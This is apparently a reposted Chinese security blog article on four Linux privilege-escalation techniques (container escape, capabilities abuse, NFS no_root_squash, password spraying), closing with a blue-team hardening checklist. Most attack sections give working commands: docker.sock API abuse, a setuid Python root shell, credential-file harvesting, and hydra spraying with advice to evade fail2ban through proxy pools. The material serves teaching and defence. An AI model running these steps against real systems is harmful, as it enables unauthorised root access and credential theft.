文章总结: 本文详解Linux环境四种进阶提权手法:容器逃逸、Capabilities滥用、NFS共享提权及密码喷洒。指出容器与配置缺陷是当前核心突破口。建议蓝队通过禁用特权容器、审计高危Capabilities、确保NFS使用root_squash及强化密码策略与监控告警来封堵攻击路径,提升内网安全防御能力。 综合评分: 90 文章分类: 内网渗透,渗透测试,云安全,安全建设
从容器逃逸到提权全拿:Linux提权的四种进阶手法
原创
安全值班室 安全值班室
安全值班室
2026年7月4日 10:00 河北
在小说阅读器读本章
去阅读
内网渗透中,Linux环境下的提权往往比Windows更隐蔽,但一旦找到突破口,效果却一点不差。上一期我们聊了SUID滥用、sudo配置错误和内核漏洞这些基础提权手法。兄弟们反馈最多的是一句话——”基础手法试了一圈没找到突破口”。这很正常。现在的Linux服务器越来越硬,基础漏洞越来越少。真正能拉开差距的,是在容器、配置、共享服务这些”非传统”路径上找到的提权机会。这一期,往上走一层,看看真正让蓝队头疼的四种进阶Linux提权技术。
📌 本期速览 容器逃逸 → Capabilities滥用 → NFS共享提权 → 密码喷洒。四种手法,从最技术的到最不讲武德的,一条线走下来。蓝队也可以反过来对照这份清单做自查。
一、容器逃逸:你不是在宿主机上,但你可以出去现在容器部署太普遍了。渗透测试中经常遇到的情况:拿了一个WebShell,执行hostname返回一串随机字符,/proc/1/cgroup里写着docker。恭喜,你掉进了容器里。遇到这种情况,先别慌。容器不代表安全——只要配置有漏洞,逃逸出去拿到宿主机只是时间问题。常见的逃逸路径有三条:▎ 1. 特权容器逃逸(–privileged)最直接的逃逸。启动容器时加了--privileged参数,相当于容器拥有了宿主机几乎所有内核能力。检测和利用方法如下:
# 检测是否是特权容器
cat /proc/self/status | grep CapEff
# 返回 0000003fffffffff 或 ffffffffffffffff → 大概率是特权容器
# 利用:挂载宿主机磁盘
fdisk -l | grep /dev/sd
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host bash
# 你现在就在宿主机上
这个手法的前提是容器内有mount命令。有些精简镜像没有,可以用nsenter或者通过操作/proc/1/ns切换命名空间来代替。▎ 2. SYS_ADMIN + 宿主机设备挂载没有--privileged,但有SYS_ADMIN capability,配合挂载宿主机设备同样能逃逸:
# 检查是否有 SYS_ADMIN
cat /proc/self/status | grep CapBnd
# 利用
mkdir /tmp/rootfs
mount /dev/sda1 /tmp/rootfs
chroot /tmp/rootfs /bin/bash
▎ 3. Docker Socket 挂载(最常见)很多管理容器会把宿主机的/var/run/docker.sock挂载到容器内。这意味着容器内可以直接操作宿主机的Docker守护进程:
# 检查 docker.sock 是否存在
ls -la /var/run/docker.sock
# 直接启动一个挂载根目录的特权容器
export DOCKER_HOST=unix:///var/run/docker.sock
# 或用 curl 调用 API
curl -s --unix-socket /var/run/docker.sock \
-X POST http://localhost/containers/create \
-H "Content-Type: application/json" \
-d '{"Image":"ubuntu:latest","Cmd":["/bin/bash"],"Binds":["/:/host:rw"],"HostConfig":{"Privileged":true}}'
⚠️ 踩坑记录 有一次通过容器逃逸拿到了宿主机root,结果发现宿主机本身是一个KVM虚拟机。从Docker容器 → 宿主机Linux → KVM虚拟机 → 宿主机物理机,每一步都需要特定的提权手法。容器逃逸只是第一步,不是终点。
二、Linux Capabilities 滥用:权限碎片的危险拼图Linux Capabilities 把root权限拆成了40多个小权限单位。设计初衷是好的——让程序只需要最小的特权就能运行——但在实际内网环境中,Capabilities配置经常出问题。最常见的情况是:运维给可执行文件直接加了一个capability,完全没考虑这个文件是不是解释器(python、perl、ruby这些)。结果解释器带着特权能力运行,用一行代码就能提权到root。▎ 高危Capabilities清单
| Capability | 危险等级 | 说明 | | — | — | — | | CAP_SYS_ADMIN | 🔴 高危 | 几乎是root的通行证 | | CAP_DAC_OVERRIDE | 🔴 高危 | 忽略文件权限,可读任意文件 | | CAP_NET_RAW | 🟠 中危 | 允许原始套接字(ARP欺骗等) | | CAP_SETUID | 🔴 高危 | 可任意设置UID,直接切到root |
# 检查当前进程的 capabilities
getpcaps 1234
# 检查二进制文件的 capabilities
getcap /usr/bin/python3
# 如果输出 → /usr/bin/python3 = cap_setuid+ep
# 全盘扫描危险capabilities
find /usr -type f -exec getcap {} \; 2>/dev/null | grep -E "cap_setuid|cap_sys_admin|cap_dac_override"
如果python3或perl这类解释器被设置了cap_setuid+ep,提权就是一行命令的事:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
实战中碰到过一个案例:某容器编排工具的Agent程序为了读取宿主机配置,被设置了CAP_DAC_OVERRIDE。攻击者通过注入恶意参数触发Agent执行任意文件读取,直接拿走了/etc/shadow。所以记住一点——不要给解释器加capability,没有例外。三、NFS 共享提权:共享目录里的陷阱内网里的NFS共享也是提权的热门跳板。核心问题出在no_root_squash这个选项上。默认情况下,NFS会把root用户映射成nobody,防止远端root以root身份操作服务端文件。但如果管理员为了方便配置了no_root_squash,那就等于把服务器root权限拱手送人了。
# 先查看挂载了哪些NFS共享
df -h | grep nfs
showmount -e 192.168.1.100
# 测试 no_root_squash
# 在攻击机上以root身份操作共享目录
mount -t nfs 192.168.1.100:/shared /mnt/nfs_test
cd /mnt/nfs_test
cp /bin/bash .
chown root:root bash
chmod u+s bash
# 回到目标服务器上执行
./bash -p
# -p 让bash不丢弃SUID权限
注意这个利用的前提:你的攻击机也要在同一个NFS网段内,并且能以root身份挂载共享。实战中更常见的场景是——你控制了内网一台机器,这台机器刚好挂载了某个NFS共享,且共享配置了no_root_squash。这时候你只要在共享目录里创建一个SUID文件,再切换回目标服务器执行,就能拿到root。四、密码复用与密码喷洒:不需要技术,需要耐心四篇里面最不依赖技术、但成功率最高的方法。严格来说不算”提权”技术,但实战中通过密码拿到root权限的场景,比前面三个加起来还多。很多安全团队把大量精力花在防漏洞上,但弱密码和密码复用问题始终是最大的安全隐患。▎ 密码文件收集清单
cat /etc/shadow # 需要root
find / -name "*.conf" -exec grep -l "password" {} \;
cat /var/log/auth.log | grep "password"
find /home -name "*.bash_history" -exec cat {} \;
grep -rn "password\|passwd" /etc/ 2>/dev/null
strings /dev/mem | grep -i "password"
▎ 密码喷洒拿到一批用户名(可以通过bloodhound、LDAP查询或从/etc/passwd里提取),用一两个常见密码批量尝试。关键技巧:不要对同一个用户多次尝试(会触发锁定),而是对多个用户尝试同一个密码。常见喷洒密码清单:Welcome@2026、Admin@123、Qwer1234!、Passw0rd、P@ssw0rd2026。每年护网期间,这些密码至少能扫出一两个弱口令账号。
# 使用 Hydra
hydra -L users.txt -p "Welcome@2026" ssh://192.168.1.0/24
# 使用 crackmapexec
crackmapexec ssh 192.168.1.0/24 -u users.txt -p "Welcome@2026"
⚠️ 踩坑记录 密码喷洒一定要控制速率。有一个真实的教训:某次渗透测试中,没注意频率,3分钟试了200个账号同一个密码,结果触发了fail2ban,整个C段IP被封了24小时。正确做法是每10秒试一个账号,配合代理池分散源IP。
蓝队防御清单:五步封堵
1️⃣ 容器安全基线 — 禁止--privileged模式运行容器,禁止挂载docker.sock到容器内,使用只读根文件系统。用docker bench security做自动检查。
2️⃣ Capabilities审计 — 建立二进制文件Capabilities白名单。解释器(python/perl/ruby)禁止设置cap_setuid、cap_sys_admin。getcap扫描纳入安全基线检查。
3️⃣ NFS加固 — 确认所有NFS导出使用root_squash,限制可访问IP段,使用nosuid和noexec挂载选项。
4️⃣ 密码策略 — 启用密码复杂性要求,禁用历史密码复用,部署堡垒机统一认证,关闭SSH密码登录改用密钥。
5️⃣ 监控告警 — 部署Auditd监控chroot、mount、setuid系统调用。对容器逃逸和suid提权行为设置实时告警。
觉得有用?点个在看支持一下
📌 值班员说 容器逃逸和Capabilities滥用是”云原生时代”最常见的提权入口。很多团队花大精力做Web安全,却忽略了容器编排层的安全基线。下期我们进入横向移动的世界——从Pass the Hash开始,聊聊如何带着已攻陷的主机在内网里走得更远。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全值班室 安全值班室 安全值班室《从容器逃逸到提权全拿:Linux提权的四种进阶手法》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论